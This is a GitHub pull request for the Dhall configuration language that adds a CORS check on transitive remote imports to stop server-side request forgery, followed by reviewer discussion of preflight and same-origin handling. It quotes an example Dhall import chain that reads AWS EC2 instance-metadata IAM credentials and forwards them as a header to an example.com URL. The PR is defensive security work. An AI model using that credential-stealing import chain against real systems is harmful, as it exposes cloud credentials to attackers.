Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Protect transitive remote imports with CORS check #411

Merged
merged 6 commits into from Mar 13, 2019
Merged

Conversation

Gabriella439
Copy link
Contributor

Fixes #404

This change protects against
server-side request forgery
by preventing remote imports from importing transitive remote imports that
do not explicitly opt in via CORS.

For example, a simple way to exploit an AWS EC2 instance before this change is
to ask the instance to interpret https://example.com/malicious, where:

  • https://example.com/malicious imports https://example.com/recordsHeaders using https://example.com/stealCredentials

  • https://example.com/stealCredentials contains

    [ { header = "Credentials"
      , value = http://169.254.169.254/latest/meta-data/iam/security-credentials/role as Text
      }
    ]

This change would reject the import of http://169.254.169.254 because the
response would not include an Access-Control-Allow-Origin header permitting
itself to be transitively imported.

Similarly, this change would protect against an external internet import from
triggering an interpreter request against a potentially sensitive intranet
endpoint unless that intranet endpoint had enabled CORS whitelisting that
external domain.

This change will not break the most common use of transitive imports: a Dhall
package that transitively depends on the Prelude. prelude.dhall-lang.org
already enables CORS.

This technically only standardizes a highly-simplified subset of CORS. Because
Dhall only uses the GET method to import remote expressions there is no need
to preflight the import with an OPTIONS request.

Fixes #404

This change protects against
[server-side request forgery](https://www.owasp.org/index.php/Server_Side_Request_Forgery)
by preventing remote imports from importing transitive remote imports that
do not explicitly opt in via CORS.

For example, a simple way to exploit an AWS EC2 instance before this change is
to ask the instance to interpret `https://example.com/malicious`, where:

* `https://example.com/malicious` imports `https://example.com/recordsHeaders using https://example.com/stealCredentials`
* `https://example.com/stealCredentials` contains

  ```haskell
  [ { header = "Credentials"
    , value = http://169.254.169.254/latest/meta-data/iam/security-credentials/role as Text
    }
  ]
  ```

This change would reject the import of `http://169.254.169.254` because the
response would not include an `Access-Control-Allow-Origin` header permitting
itself to be transitively imported.

Similarly, this change would protect against an external internet import from
triggering an interpreter request against a potentially sensitive intranet
endpoint unless that intranet endpoint had enabled CORS whitelisting that
external domain.

This change will not break the most common use of transitive imports: a Dhall
package that transitively depends on the Prelude.  `prelude.dhall-lang.org`
already enables CORS.

This technically only standardizes a highly-simplified subset of CORS.  Because
Dhall only uses the `GET` method to import remote expressions there is no need
to preflight the import with an `OPTIONS` request.
@Nadrieril
Copy link
Member

If we don't do the preflight OPTIONS request, we run into the risk of triggering unsafe GET endpoints, as you mention in the linked issue.

@Gabriella439
Copy link
Contributor Author

@Nadrieril: Is the OPTIONS method considered safer to trigger than GET?

@Nadrieril
Copy link
Member

Nadrieril commented Mar 7, 2019

I believed so, but I can't find a source for it. Looking around, it looks like it isn't implemented in a large number of websites these days (even github). I now think it's probably fine to just use GET.

@Gabriella439
Copy link
Contributor Author

There's another issue with this that needs to be fixed: it applies the CORS check even when the parent and child import are the same origin. This needs to be amended to include something similar to the same origin policy to avoid needless CORS checks.

This ensures that the CORS check is not applied if the parent and child
import share the same origin
Gabriella439 added a commit to dhall-lang/dhall-haskell that referenced this pull request Mar 8, 2019
@Gabriella439
Copy link
Contributor Author

Matching change to the Haskell implementation: dhall-lang/dhall-haskell#846

I mistakenly specified that the CORS check requires an
`Access-Control-Allow-Origin` header AND the same origin, when I really
meant to specify "OR".
The judgment needed to clarify that an explicit
`Access-Control-Allow-Origin` origin has to match the authority of the
parent
@Gabriella439 Gabriella439 merged commit 31dff9d into master Mar 13, 2019
@Gabriella439 Gabriella439 deleted the gabriel/cors branch March 13, 2019 01:36
Gabriella439 added a commit to dhall-lang/dhall-haskell that referenced this pull request Mar 13, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants